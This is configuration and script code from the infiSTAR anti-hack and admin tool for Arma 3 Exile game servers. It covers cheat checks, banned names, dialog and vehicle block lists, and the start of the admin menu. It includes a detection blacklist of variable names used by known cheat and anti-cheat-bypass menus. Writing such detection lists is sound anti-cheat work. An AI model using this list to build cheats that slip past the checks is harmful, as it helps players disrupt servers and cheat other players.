- /* The following 4 options can be disabled by putting the value to -1. For example "TGV = -1;" */
- /* Terrain Grid Value */ TGV = 40; /* 50, 25, 12.5 */ /* if set to 50 grass will be very low for better client FPS.. default is 25 ~35 is good performance and grass :) */
- /* ViewDistance Value */ VDV = 1000;
- /* ObjectViewDistance */ VOV = 800;
- /* ShadowViewDistance */ SVD = 50;
- /****************************************************************************************************/
- /***************************FIXES DUE TO ARMA BEING BROKEN - BELOW***********************************/
- /****************************************************************************************************/
- /*
- *readded new old uniform and vest check since some people asked for it.
- http://www.exilemod.com/topic/14179-miss-uniform_and_vest_check/
- the game is still broken and sometimes you can see people naked when they are not.
- I did not add the old check back in, I made a new one making use of new functions :)
- */
- fix_uniform_and_vest = false;
- /*
- So far only checking for duped backpacks and not taking any actions besides logging. Need to test more before It will start to remove duped items.
- */
- experimental_dupe_check = false;
- /****************************************************************************************************/
- /***************************FIXES DUE TO ARMA BEING BROKEN - ABOVE***********************************/
- /****************************************************************************************************/
- /*
- re-assigning "InventoryOpened" eventhandler to stop glitch open a locked safe
- */
- stopSafeGlitchAndCorpseDupe = true;
- /* ********************************************************************************* */
- /* many checks should be set to true instead of false. */
- /* ********************************************************************************* */
- LVC = true; /* Local Vehicle Check - ALWAYS HAVE THIS TRUE! */
- URC = false; /* Check unitRecoilCoefficient and reset default unitRecoilCoefficient */
- CAP = false; /* Check Actions Plr - "Actions: xxx/xxx possible scroll menu hack (or you added custom actions..)" */
- KCM = false; /* Just close ALL CommandingMenus */
- CMC = false; /* Check for CommandingMenus that are not in the allowedCommandingMenus array */
- allowedCommandingMenus[] = {"#user:example","#user:example2"};
- check_Notifications = false; /* checks if BIS_fnc_showNotification was used, as it is used with many hacks - some custom addons however use them too. */
- disconnect_dupe_check = false; /* checks if player tries to dupe using the "disconnect trick" -> sends a ping to the server whenever a player opens the escape menu */
- wall_look = false; /* checks if a players tries to look through a wall (if player is allowed to build in that territory, it will not be logged.) */
- wall_glitch_object = true; /* checks if a players tries to glitch through a wall (if player is allowed to build in that territory, it will not be logged.) */
- wall_glitch_vehicle = true; /* stops players from glitching into bases using "eject" or "getout" of a vehicle.. */
- check_doors_n_gates = false; /* check if a door is locked but still being opened */
- checkHiddenObjects = true; /* checks if there is hidden objects close to the player (hidden objects could be walked through..) */
- attach_to_check = false; /* logs and detaches attached vehicles that are close.. basically completely disallow attaching of vehicles! */
- slingload_check = true; /* forbid sling loading / rope attaching a vehicle with a crew */
- checkFilePatchingEnabled = true; /* checks if filepatching is enabled on the client (if it is, the client could inject any script based hack easily) */
- /* Check for Map Menu & Map Sub-Menu */
- CMM = true;
- maxMapMenuEntries = 6; /* "Map Menu has been changed x entries found - Texts: y" incase you want to add some briefing to your map menu. Only matters if you have CMM = true; */
- /* if steam api.steampowered.com is working, this might be a nice feature */
- check_steam_ban = false; /* will announce and log steambanned players - using GetPlayerBans v1 */
- ban_for_steam_ban = false; /* if "check_steam_ban = true;" then steambanned players will get banned from your Arma server! */
- /*
- Anti Teleport
- UAT = false; To disable Anti Teleport
- Arrays below show position & radius where Teleporting is allowed.
- Mainly for the Traders (because when you purchase a vehicle, it teleports you into the vehicle)
- You can white-list "Teleport Zones" by adding them like below:
- class allowTP {
- custom[] = {
- {{0,0,0},1},
- {{1,1,1},1},
- {{2,2,2},1}
- };
- };
- Trading zones are white-listed by default.
- */
- UAT = true;
- class allowTP {
- custom[] = {};
- };
- /* Check Drawing on the Map (global channel) */
- CHECK_DRAWING = true; /* logs & deletes global drawing */
- /* Check Global Markers */
- CGM = false; /* you may need to disable this check for A.I. Missions - or whitelist the used Markers in the aLocalM Array beneath */
- /* Check Local Markers */
- CLM = false; /* false if you do not want LocalMarker to be checked. */
- /* Use aLocalM array */
- UMW = false; /* use allowed marker array from below (for example AltisLife uses house_ and others in there) or A.I. Missions */
- /* aLocalM: if "CLM" && UMW - this array of names will be allowed */
- aLocalM[] = {"MissionMarker"};
- /*
- Not allowed Chat words on server.
- Example:
- badChat[] = {"blue"};
- will log if somebody writes "blue goat" or "blues" in the chat (not case sensitive).
- */
- badChat[] = {};
- /* Not allowed Names on server. Example: badNamesFull[] = {"THE"}; would kick all players that are named "THE", it would NOT kick players named "THE CAR" (not case sensitive) */
- badNamesFull[] = {"grim"};
- /* Not allowed Names on server. Example: badNamesPartial[] = {"THE"}; would kick all players with names like "the car" as it includes "THE" (not case sensitive) */
- badNamesPartial[] = {"admin","thirtysix","adolf","le hippo"};
- /* Not allowed Group Names on server. Example: badGroupNames[] = {"THE"}; would rename all groups with names like "the car" as it includes "THE" (not case sensitive) */
- badGroupNames[] = {"admin"};
- /* badIDDsToKick will be checked before badIDDsToClose, badIDDsToClose will be checked before allowedIDDs */
- /* badIDDsToKick: Forbidden Idds that will get you Kicked by the AH */
- badIDDsToKick[] = {-1337,133,167,1340,1341,1342,1343,1344,1345,1346,1347};
- /* badIDDsToClose: Forbidden Idds that will get closed by the AH */
- badIDDsToClose[] =
- {
- 2,3,7,17,19,25,26,27,28,29,30,31,32,37,40,41,43,44,45,51,52,53,56,74,85,
- 106,126,127,132,146,147,150,151,152,153,154,155,159,162,164,262,
- 314,632,1320,2121,148,163,129,169,157,69,156,165,166,167,312,1321,2727
- };
- /* Use IDD White-List ? */ UDW = true;
- /* allowedIDDs: Insert IDDs here to prevent them from being closed! */
- allowedIDDs[] =
- {
- /* default idds */
- 0,4,5,6,8,12,18,24,49,54,55,70,160,174,177,999,131,63,602,301,
- /* exile idds */
- 24001,24002,20023,24005,24004,24010,24025,20021,20017,24012,24027,
- 20019,20016,24007,20024,20018,24008,24011,24015,24000,24006,24014,
- 20020,24026,
- 24033,24030,24029,24028,24031,24034,
- 4004,21000, // Bounty system and MarXet
- 8457, // http://www.exilemod.com/topic/9040-xm8-apps/
- 65431, // r3f menu fix
- 6666, // Paintshop
- 0711, // Advanced Banking
- 0720, // Virtual Garage
- 5501,5502,5503,5504,5505,5506,5507, // BRAma Cookbook
- -1339,-1340, // custom infiSTAR dialogs (some editor & a private chat menu)
- /* main idd - never delete it */
- 46
- };
- /*
- it is highly recommended to have this check turned on (useBlacklistedVariableCheck = true;)
- shows "BadVariable in xxxxxxxx " in the logs.
- */
- useBlacklistedVariableCheck = true;
- blacklistedVariables[] =
- {
- "BIS_DEBUG_CAM",
- "arsenalOpened","BIS_fnc_arsenal_fullArsenal","babecore_escM_mousepos",
- "BIS_fnc_dbg_reminder_value","BIS_fnc_dbg_reminder","BIS_MENU_GroupCommunication","BIS_fnc_addCommMenuItem_menu",
- "rscspectator","rscspectator_hints","rscspectator_display","rscspectator_playericon",
- "rscspectator_view","rscspectator_map","rscspectator_vision","rscspectator_keys",
- "rscspectator_interface","bis_fnc_camera_target",
- "time","serverTime","myplayeruid","hhahaaaaar","CharlieSheenkeybinds","KickOFF","yolo","runonce","notakeybind","action1","Supa_Licenses","autokick","wallaisseikun","MainMenu",
- "GEFClose","GEFWhite","GEFRed","GEFGreen","GEFCyan","FirstHint","new_queued","fn_Exec","FND_fnc_select","fnx3","ANTIHACKKICK","tele","dmap","GOLDENS_GLOBAL_SHIT_YEAH","GLASS911_Run",
- "gearDialog_create","lystoKeypress","ThirtySix","LY_SwaggerLikeUs","Jkeyszz","n2","boxofmagic","MainScripts","DMC_fnc_4danews","INFISTARBYPASS","EXEC_TEXT","vehicle_dblclick","init_main",
- "ESP_Count","Nute_Dat_Bomber","s_cash100k","XposPlayer","ly_re_onetime","SKAR_checkA","MainScriptsV4","ViewDistance","check_load","already_load","meins","f1","Dummy","Plane_Jump",
- "c_player","MouseClickEH","distp","nec2","Menu_I_Run_Color_LP","GLASSv1nce_BindHandler","thecar","FastAnimes","GetinPassenger","iaimon","DMC_Re_onetime","func_execOnServer","fnc_serverKickNice",
- "Kick_Admins","DASMOKEON","hovering","r_kelly_be_flying","VinceLOL_ALTISLIFE","life_fnc_byassSkaroAH","AH_fnc_MP","jayRE","fn_newsbanner","Hack_News","TrollFuncs",
- "Fanatic_InfiPass","keybindings_xxx","AndysClosed","UserFuncs","AltisFuncs","RemExe","BB_nofatigue","bis_fnc_diagkey_var_code","First_PAGE","Get_in_D","i_t_s__m_e_o","smissles","Whippy_ESP",
- "TargetFuncs2","life_fnc_antiFreeeeze","LY_keyForward","TY_re_onetime","life_fnc_XaAxAA","mein1","GodDamnVehiclesXD","Mystic_FNC_ESP_distance","Esp_Id_setter","DummyMen","whipbut","UserFuncs",
- "KrohdoFreedom","selectedPlayer","Lmenu1","ggplayer","throx_menu_item","lvl1","Init_Menu_Slew","D_B_R_T_Y_Slew","V6_GEF","xasfjisisafudmmyx","kekse","UPDATED_RE_36","first","second",
- "SNI_PRZ_ZZZ_TargetPlayer","healit","O_fnc_ArmA","MLRN_EXEC","running_threads","catchemall123","killtarget","GMToggle","t1","FUCK_ME_keyp"
- };
- UVC_adminspawn = false; /* use vehicle check(s) on vehicles spawned by infiSTAR.de admin? */
- /*
- Use vehicle white list? (everything not on white-list will be flagged as BadVehicle and deleted!)
- "EXILE" vehicles are white-listed by default!
- */
- VehicleWhiteList_check = false;
- VehicleWhiteList[] =
- {
- "B_Parachute","B_Parachute_02_F","O_Parachute_02_F","Steerable_Parachute_F",
- "I_UAV_01_F","B_HMG_01_high_F","O_HMG_01_F","B_Heli_Transport_01_F","B_Heli_Transport_01_camo_F","O_MRAP_02_gmg_F","O_static_AT_F","Land_Camping_Light_F"
- };
- /*
- Use forbidden vehicle check? (everything in the ForbiddenVehicles will be flagged as BadVehicle and deleted (even when it is on the white-list)!)
- */
- ForbiddenVehicles_check = false;
- ForbiddenVehicles[] =
- {
- "B_Heli_Light_01_armed_F","B_Heli_Attack_01_F","B_Plane_CAS_01_F","B_APC_Tracked_01_rcws_F","B_APC_Tracked_01_CRV_F","B_APC_Tracked_01_AA_F","B_MBT_01_cannon_F",
- "B_MBT_01_arty_F","B_MBT_01_mlrs_F","B_Boat_Armed_01_minigun_F","B_UAV_02_F","B_UAV_02_CAS_F","B_MRAP_01_gmg_F","B_MRAP_01_hmg_F","B_G_Offroad_01_armed_F",
- "B_APC_Wheeled_01_cannon_F","B_MBT_01_TUSK_F","O_Heli_Light_02_F","O_Heli_Attack_02_F","O_Heli_Attack_02_black_F","O_Plane_CAS_02_F","O_APC_Tracked_02_cannon_F",
- "O_APC_Tracked_02_AA_F","O_MBT_02_cannon_F","O_MBT_02_arty_F","O_Boat_Armed_01_hmg_F","O_UAV_02_CAS_F","O_UAV_02_F","O_MRAP_02_hmg_F","O_G_Offroad_01_armed_F",
- "O_APC_Wheeled_02_rcws_F","O_UGV_01_rcws_F","B_UGV_01_rcws_F","I_UGV_01_rcws_F","I_APC_Wheeled_03_cannon_F","I_MRAP_03_gmg_F","I_MRAP_03_hmg_F","I_G_Offroad_01_armed_F",
- "I_UAV_02_CAS_F","I_UAV_02_F","I_Boat_Armed_01_minigun_F","I_MBT_03_cannon_F","I_APC_tracked_03_cannon_F","I_Plane_Fighter_03_AA_F","I_Plane_Fighter_03_CAS_F","I_Heli_light_03_F",
- "B_HMG_01_F","I_HMG_01_F","O_HMG_01_high_F","I_HMG_01_high_F","B_HMG_01_A_F","O_HMG_01_A_F","I_HMG_01_A_F","B_Mortar_01_F","O_Mortar_01_F","I_Mortar_01_F","I_G_Mortar_01_F",
- "B_G_Mortar_01_F","O_G_Mortar_01_F","B_GMG_01_F","O_GMG_01_F","I_GMG_01_F","O_GMG_01_high_F","I_GMG_01_high_F","B_GMG_01_A_F","O_GMG_01_A_F","I_GMG_01_A_F",
- "B_static_AA_F","O_static_AA_F","I_static_AA_F","B_static_AT_F","I_static_AT_F","B_GMG_01_high_F"
- };
- /*
- If you use VehicleWhiteList_check or ForbiddenVehicles_check then the vehicle check automatically checks for locally created vehicles.
- Locally created vehicles are these that get created by a player and not the server. E.g. when a player assambles a UAV or a static weapon!
- Also some public posted scripts for example the "bike script" are creating the vehicle (the bike) locally (so the type of the vehicle needs to get added to the array below!).
- */
- LocalWhitelist[] =
- {
- "O_HMG_01_weapon_F","O_HMG_01_F","O_HMG_01_support_F","I_UavTerminal","I_UAV_01_backpack_F",
- "Exile_Bike_OldBike"
- };
- UFI = false; /* Use "ForbiddenItems"/Item Check(s) */
- UIW = false; /* if "UIW = true;" then it checks if the items the individual player has are in "ItemWhiteList" */
- ItemWhiteList[] =
- {
- "AllowThisItem1","AllowThisItem2"
- };
- ForbiddenItems[] =
- {
- "autocannon_Base_F","autocannon_30mm","autocannon_35mm","autocannon_40mm_CTWS","autocannon_30mm_CTWS","Bomb_04_Plane_CAS_01_F",
- "Bomb_03_Plane_CAS_02_F","cannon_105mm","cannon_120mm","cannon_120mm_long","cannon_125mm","Cannon_30mm_Plane_CAS_02_F","gatling_20mm",
- "gatling_25mm","gatling_30mm","Gatling_30mm_Plane_CAS_01_F","GBU12BombLauncher","GMG_20mm","GMG_40mm","GMG_UGV_40mm","HMG_127_MBT",
- "HMG_127","HMG_127_APC","HMG_01","HMG_M2","HMG_NSVT","LMG_Minigun2","LMG_RCWS","LMG_M200","LMG_Minigun","LMG_Minigun_heli","LMG_coax",
- "Missile_AGM_02_Plane_CAS_01_F","Missile_AA_04_Plane_CAS_01_F","Missile_AA_03_Plane_CAS_02_F","Missile_AGM_01_Plane_CAS_02_F","missiles_DAGR",
- "missiles_DAR","missiles_ASRAAM","missiles_SCALPEL","missiles_titan","missiles_titan_static","missiles_Zephyr","Mk82BombLauncher","mortar_82mm",
- "mortar_155mm_AMOS","rockets_Skyfire","rockets_230mm_GAT","Rocket_04_HE_Plane_CAS_01_F","Rocket_04_AP_Plane_CAS_01_F","Rocket_03_HE_Plane_CAS_02_F",
- "Rocket_03_AP_Plane_CAS_02_F","Twin_Cannon_20mm"
- };
- /*
- custom Box content:
- just an item like it is in the example with "ItemMap" will put the item once in the box.
- if an array is used like the {"ItemGPS",5} example, well I assume you could guess what it will do.
- You can just define as many as you want.
- {
- "BOX NAME", // function name in the admin menu
- {
- "Item1","Item2", // one per just item in a string
- {"Item1",5},{"Item2",10} // second entry in each array defiens how many of items of the first entry are wanted.
- }
- }
- The last closing bracket in an array can not have a "," afterwards. So make sure to have no syntax errors here.
- */
- allSupportBoxes[] =
- {
- {
- "Support-Box1",
- {
- "Exile_Item_Flag","Exile_Item_CookingPot",
- {"Exile_Item_Codelock",5},{"Exile_Item_DuctTape",10},{"Exile_Item_InstaDoc",10},
- {"Exile_Item_Energydrink",10},{"Exile_Item_ExtensionCord",5},{"Exile_Item_FloodLightKit",5},
- {"Exile_Item_FortificationUpgrade",5},{"Exile_Item_FuelCanisterFull",5},{"Exile_Item_GloriousKnakworst_Cooked",10},
- {"Exile_Item_LightBulb",5},{"Exile_Item_Matches",5},{"Exile_Item_MetalBoard",5},
- {"Exile_Item_MetalPole",5},{"Exile_Item_PlasticBottleFreshWater",10},{"Exile_Item_PortableGeneratorKit",5},
- {"Exile_Item_Rope",15},{"Exile_Item_SafeKit",15},{"Exile_Magazine_Battery",15}
- }
- },
- {
- "Support-Box2",
- {
- "Exile_Item_Flag",
- {"Exile_Item_WoodDoorKit",15},{"Exile_Item_WoodDoorwayKit",15},{"Exile_Item_WoodDrawBridgeKit",15},
- {"Exile_Item_WoodFloorKit",15},{"Exile_Item_WoodFloorPortKit",15},{"Exile_Item_WoodGateKit",15},
- {"Exile_Item_WoodLog",15},{"Exile_Item_WoodPlank",15},{"Exile_Item_WoodStairsKit",15},
- {"Exile_Item_WoodSupportKit",15},{"Exile_Item_WoodWallHalfKit",15},{"Exile_Item_WoodWallKit",15},
- {"Exile_Item_WoodWindowKit",15},{"Exile_Item_WorkBenchKit",15}
- }
- },
- {
- "Support-Box3",
- {
- {"Exile_Item_Flag",5},{"Exile_Item_WoodDoorKit",15},{"Exile_Item_WoodWallKit",15},
- {"Exile_Item_WoodWindowKit",15},{"Exile_Item_WoodFloorKit",15},{"Exile_Item_SafeKit",5}
- }
- },
- {
- "Support-Box4",
- {
- "ItemMap",{"ItemGPS",5},"ItemWatch"
- }
- }
- };
- /* ***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER***DANGER */
- /*
- THE KYLE MODE - by enabling it (setting it to true), you disable 99% of the AntiHack features.
- (DEFAULT VALUE: FALSE).
- This is only for those, that want to use the Admin Menu only!
- */
- KYLE_MODE = false;
- };/*
- Author: Chris(tian) "infiSTAR" Lorenzen
- Contact: infiSTAR23@gmail.com // www.infiSTAR.de
- Copyright infiSTAR - 2011 - 2016. All rights reserved.
- Christian (Chris) L. (infiSTAR23@gmail.com) Developer of infiSTAR
- Description:
- Arma AntiHack & AdminTools - infiSTAR.de
- */
- comment 'Antihack & AdminTools - Christian Lorenzen - www.infiSTAR.de';
- VERSION_DATE_IS = '05-Jul-2016 23-52-40#2666';
- infiSTAR_customFunctions = [];
- _configClasses = "true" configClasses (configfile >> "CfgCustomFunctions");
- {
- _configProperties = configProperties [configfile >> "CfgCustomFunctions" >> configName _x];
- _type = getNumber (_configProperties select 0);
- _name = getText (_configProperties select 1);
- _code = getText (_configProperties select 2);
- infiSTAR_customFunctions pushBack [_type,_name,_code];
- } forEach _configClasses;
- if!(infiSTAR_customFunctions isEqualTo [])then{infiSTAR_customFunctions sort true;};
- infiSTAR_MAIN_CODE = "
- _log = format['<infiSTAR.de> %1 - Loading Menu..',call GET_TIME_TIME];systemchat _log;diag_log _log;
- allSupportBoxesNames = "+str _allSupportBoxesNames+";
- infiSTAR_CUSTOM_RUN = [];
- infiSTAR_CUSTOM_Toggleable = [];
- infiSTAR_CUSTOM_OnTarget = [];
- infiSTAR_customFunctions = "+str infiSTAR_customFunctions+";
- infiSTAR_HTML_LOAD = "+str _use_html_load_on_adminmenu+";
- pathToCustomBillBoardTextures = "+str _pathToCustomBillBoardTextures+";
- if!(infiSTAR_customFunctions isEqualTo [])then
- {
- _counter0 = 0;
- _counter1 = 0;
- _counter2 = 0;
- {
- _type = _x select 0;
- _name = _x select 1;
- _code = _x select 2;
- switch (_type) do
- {
- case 0: {
- infiSTAR_CUSTOM_RUN pushBack _name;
- missionNameSpace setVariable[format['FNC_CUSTOM_RUN_%1',_counter0],_code call fnc_admin_c];
- _counter0 = _counter0 + 1;
- };
- case 1: {
- infiSTAR_CUSTOM_Toggleable pushBack _name;
- missionNameSpace setVariable[format['FNC_CUSTOM_TOGGLEABLE_%1',_counter1],_code call fnc_admin_c];
- _counter1 = _counter1 + 1;
- };
- case 2: {
- infiSTAR_CUSTOM_OnTarget pushBack _name;
- missionNameSpace setVariable[format['FNC_CUSTOM_ON_TARGET_%1',_counter2],_code call fnc_admin_c];
- _counter2 = _counter2 + 1;
- };
- };
- } forEach infiSTAR_customFunctions;
- };
- MYPUIDinfiESP = getPlayerUID player;
- SHIFT_IS_PRESSED=false;ALT_IS_PRESSED=false;FILLMAINSTATE=0;LASTSUBBUTTON=1;BTN_GET_ITEM_SEL=0;BTN_SPAWN_VEH_SEL=0;
- SortAlphaPlease = true;SortGroupsPlease = nil;SortRangePlease = nil;
- infiSTAR_add_vehicles=true;
- SELECTED_TARGET_PLAYER = player;
- MAIN_DISPLAY_ID = -1338;LEFT_SHIFT_ID = 1500;RIGHT_SHIFT_ID = 1501;
- uiNamespace setVariable['A3MAPICONS_mainMap', nil];
- uiNamespace setVariable['A3MAPICONS_mainMap', findDisplay 12 displayCtrl 51];
- if(isNil 'AH_HackLogArray')then{AH_HackLogArray = [];};
- if(isNil 'AH_SurvLogArray')then{AH_SurvLogArray = [];};
- if(isNil 'AH_AdmiLogArray')then{AH_AdmiLogArray = [];};
- if(isNil 'SERVER_FPS')then{SERVER_FPS = 0;};
- if(isNil 'SERVER_THREADS')then{SERVER_THREADS = 0;};
- if(isNil 'SERVER_LOOPTIME')then{SERVER_LOOPTIME = 0;};
- if(isNil 'infiSTAR_toggled_A')then{infiSTAR_toggled_A = ['==== OnTarget ====','==== Toggleable ====','==== Custom Functions ===='];};
- if(isNil 'infiSTAR_loop_array')then{infiSTAR_loop_array = [];};
- FN_SHOW_LOGID = 554466;
- FN_SHOWN_LOGIDS = [];
- FN_SHOW_LOG_OLD = {
- disableSerialization;
- _del = {FN_SHOWN_LOGIDS = FN_SHOWN_LOGIDS - [_this];ctrlDelete _this;};
- {
- if(_forEachIndex < 3)then
- {
- if(count FN_SHOWN_LOGIDS > 40)then{_x call _del;};
- }
- else
- {
- if(ctrlFade _x > 0.9)then{_x call _del;};
- };
- } forEach FN_SHOWN_LOGIDS;
- _ctrl = [findDisplay 46,'RSCText',FN_SHOW_LOGID] call fnc_createctrl;
- FN_SHOW_LOGID = FN_SHOW_LOGID + 1;
- FN_SHOWN_LOGIDS pushBackUnique _ctrl;
- {
- _x ctrlSetPosition [
- 0,
- ((safeZoneY+0.3) + (_forEachIndex / 30)),
- 1.3,
- 0.2
- ];
- _x ctrlCommit 0;
- } forEach FN_SHOWN_LOGIDS;
- _ctrl ctrlSetText format['<infiSTAR.de> %1',_this];
- _ctrl ctrlSetFade 1;
- _ctrl ctrlCommit 5;
- };
- FN_SHOW_LOG = {
- if(isNil'ExileClient_gui_toaster_addTemplateToast')then
- {
- _this call FN_SHOW_LOG_OLD;
- }
- else
- {
- ['SuccessTitleAndText', ['infiSTAR.de', _this]] call ExileClient_gui_toaster_addTemplateToast;
- };
- };
- fnc_get_selected_object = {
- _target = lbtext[LEFT_SHIFT_ID,(lbCurSel LEFT_SHIFT_ID)];
- if(_target isEqualTo '')then
- {
- if(isNull SELECTED_TARGET_PLAYER)then
- {
- SELECTED_TARGET_PLAYER = player;
- };
- }
- else
- {
- {
- _grp = group _x;
- _side = side _x;
- _name = _x call FN_GET_NAME;
- _search = format['%1 [%2]',_name,_side];
- if(count units _grp > 1)then
- {
- _search = format['%1 [%2 (%3)]',_name,_side,_grp];
- };
- if(_search == _target)exitWith
- {
- SELECTED_TARGET_PLAYER = _x;
- };
- } forEach (call fnc_get_plr);
- };
- SELECTED_TARGET_PLAYER
- };
- FN_GET_CLR_PLAYERLIST = {
- if(_this isEqualTo SELECTED_TARGET_PLAYER)exitWith{[1,0.7,0.15,1]};
- if(!alive _this)exitWith{[1,1,1,1]};
- _xuid = getPlayerUID _this;
- if(((_xuid in infiSTAR_ADMINS)&&!(_xuid in infiSTAR_Ds))||((_xuid in infiSTAR_Ds)&&(MYPUIDinfiESP in infiSTAR_Ds))||(_xuid == MYPUIDinfiESP))exitWith{[0,1,0,1]};
- if(_this in (units(group player)))exitWith{[1,0.95,0,1]};
- if(vehicle _this isEqualTo _this)exitWith{[1,0.17,0.17,1]};
- [0.047,0.502,1,1]
- };
- FN_GET_NAME = {
- if(alive _this)then{name _this}else{_this getVariable['ExileName','unknown']}
- };
- FN_GET_CLR = {
- if(_this isEqualTo SELECTED_TARGET_PLAYER)exitWith{[1,0.7,0.15,_alpha]};
- if(!alive _this)exitWith{[1,1,1,_alpha]};
- _xuid = getPlayerUID _this;
- if(((_xuid in infiSTAR_ADMINS)&&!(_xuid in infiSTAR_Ds))||((_xuid in infiSTAR_Ds)&&(MYPUIDinfiESP in infiSTAR_Ds))||(_xuid == MYPUIDinfiESP))exitWith{[0,1,0,_alpha]};
- if(_this in (units(group player)))exitWith{[1,0.95,0,_alpha]};
- if(vehicle _this isEqualTo _this)exitWith{[1,0.17,0.17,_alpha]};
- [0.047,0.502,1,_alpha]
- };
- TRADER_FUNCTION_ARRAY = [
- [''],
- ['Exile_Trader_Armory','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_SpecialOperations','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_Equipment','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_Food','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_Hardware','ExileClient_gui_traderDialog_show',0],
- [''],
- ['Exile_Trader_Vehicle','ExileClient_gui_vehicleTraderDialog_show',0],
- ['Exile_Trader_Aircraft','ExileClient_gui_vehicleTraderDialog_show',0],
- ['Exile_Trader_Boat','ExileClient_gui_vehicleTraderDialog_show',0],
- [''],
- ['Exile_Trader_Office','ExileClient_gui_purchaseTerritoryDialog_show',0],
- ['Exile_Trader_Office','ExileClient_gui_payTerritoryProtectionMoneyDialog_show',0],
- [''],
- ['Exile_Trader_WasteDump','ExileClient_gui_wasteDumpDialog_show',1],
- ['Exile_Trader_VehicleCustoms','ExileClient_gui_vehicleCustomsDialog_show',1],
- ['Exile_Trader_AircraftCustoms','ExileClient_gui_vehicleCustomsDialog_show',1],
- ['Exile_Trader_BoatCustoms','ExileClient_gui_vehicleCustomsDialog_show',1],
- [''],
- ['-- customs are not set by default --'],
- ['Exile_Trader_CommunityCustoms','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_CommunityCustoms2','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_CommunityCustoms3','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_CommunityCustoms4','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_CommunityCustoms5','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_CommunityCustoms6','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_CommunityCustoms7','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_CommunityCustoms8','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_CommunityCustoms9','ExileClient_gui_traderDialog_show',0],
- ['Exile_Trader_CommunityCustoms10','ExileClient_gui_traderDialog_show',0]
- ];
- ALLC_ITEMS = ['B_Parachute'];
- ALL_MAGS_TO_SEARCH_C = [];
- ALL_VEHS_TO_SEARCH_C = [];
- ALL_VEHS_TO_SEARCH_C_EXILE = [];
- ALL_VEHS_TO_SEARCH_C_OTHER = [];
- newAllItems_CATEGORY = [];
- FNC_PIC_VALID = {
- !((toLower _this) in ['','pictureheal','picturepapercar','picturething','picturestaticobject'])
- };
- {
- _configName = configName _x;
- ALL_VEHS_TO_SEARCH_C pushBackUnique _configName;
- if(_configName select [0,5] isEqualTo 'Exile')then{ALL_VEHS_TO_SEARCH_C_EXILE pushBackUnique _configName;}else{ALL_VEHS_TO_SEARCH_C_OTHER pushBackUnique _configName;};
- } forEach ('((getNumber (_x >> ''scope'') >= 2) && {getText(_x >> ''picture'') call FNC_PIC_VALID} && {configName _x isKindOf ''allVehicles'' && !(configName _x isKindOf ''Man'')})' configClasses (configFile >> 'CfgVehicles'));
- {
- ALL_VEHS_TO_SEARCH_C pushBackUnique _x;
- if(_x select [0,5] isEqualTo 'Exile')then{ALL_VEHS_TO_SEARCH_C_EXILE pushBackUnique _x;}else{ALL_VEHS_TO_SEARCH_C_OTHER pushBackUnique _x;};
- } forEach [
- 'Land_Pod_Heli_Transport_04_covered_F',
- 'Land_Pod_Heli_Transport_04_fuel_F',
- 'Land_Pod_Heli_Transport_04_box_F',
- 'Land_Pod_Heli_Transport_04_repair_F',
- 'Land_Pod_Heli_Transport_04_medevac_F',
- 'Land_Pod_Heli_Transport_04_bench_F',
- 'Land_Pod_Heli_Transport_04_covered_black_F',
- 'Land_Pod_Heli_Transport_04_fuel_black_F',
- 'Land_Pod_Heli_Transport_04_box_black_F',
- 'Land_Pod_Heli_Transport_04_repair_black_F',
- 'Land_Pod_Heli_Transport_04_medevac_black_F',
- 'Land_Pod_Heli_Transport_04_bench_black_F'
- ];
- _bags = getArray(missionconfigfile >> 'CfgTraderCategories' >> 'Backpacks' >> 'items');
- {
- ALLC_ITEMS pushBackUnique _x;
- _itemInformation = [_x] call BIS_fnc_itemType;
- _category = _itemInformation select 1;
- if!(_category in newAllItems_CATEGORY)then{newAllItems_CATEGORY pushBackUnique _category;};
- } forEach _bags;
- {
- _configName = configName _x;
- ALLC_ITEMS pushBackUnique _configName;
- _itemInformation = [_configName] call BIS_fnc_itemType;
- _category = _itemInformation select 1;
- if!(_category in newAllItems_CATEGORY)then{newAllItems_CATEGORY pushBackUnique _category;};
- } forEach ('(getNumber(_x >> ''scope'') isEqualTo 2) && {(getText(_x >> ''vehicleClass'') isEqualTo ''Backpacks'')}' configClasses (configFile >> 'CfgVehicles'));
- {
- _configName = configName _x;
- ALLC_ITEMS pushBackUnique _configName;
- _itemInformation = [_configName] call BIS_fnc_itemType;
- _category = _itemInformation select 1;
- if!(_category in newAllItems_CATEGORY)then{newAllItems_CATEGORY pushBackUnique _category;};
- } forEach ('(getNumber(_x >> ''scope'') isEqualTo 2) && {getText(_x >> ''picture'') call FNC_PIC_VALID}' configClasses (configFile >> 'CfgWeapons'));
- {
- _configName = configName _x;
- ALLC_ITEMS pushBackUnique _configName;
- ALL_MAGS_TO_SEARCH_C pushBackUnique _configName;
- _itemInformation = [_configName] call BIS_fnc_itemType;
- _category = _itemInformation select 1;
- if!(_category in newAllItems_CATEGORY)then{newAllItems_CATEGORY pushBackUnique _category;};
- } forEach ('(getNumber(_x >> ''scope'') isEqualTo 2) && {getText(_x >> ''picture'') call FNC_PIC_VALID}' configClasses (configFile >> 'CfgMagazines'));
- newAllItems_CATEGORY sort true;
- {
- _itemInformation = [_x] call BIS_fnc_itemType;
- _category = _itemInformation select 1;
- _variable = missionNameSpace getVariable (_category+'_ARRAY');
- if(isNil '_variable')then
- {
- missionNameSpace setVariable[(_category+'_ARRAY'),[_x]];
- }
- else
- {
- _variable pushBackUnique _x;
- missionNameSpace setVariable[(_category+'_ARRAY'),_variable];
- };
- } forEach ALLC_ITEMS;
- _log = format['<infiSTAR.de> %1 - config data loaded!',call GET_TIME_TIME];diag_log _log;
- if('==== Base Deleter ====' call ADMINLEVELACCESS)then
- {
- CCG_fnc_adminClick = {
- private ['_click'];
- _click = _this select 0;
- if(_click == '')exitWith{};
- try {
- switch (_click) do {
- case 'BD: Set Center' : {
- call CCG_fnc_bdSetCenter;
- throw 'BASEDELETER: Set Center';
- };
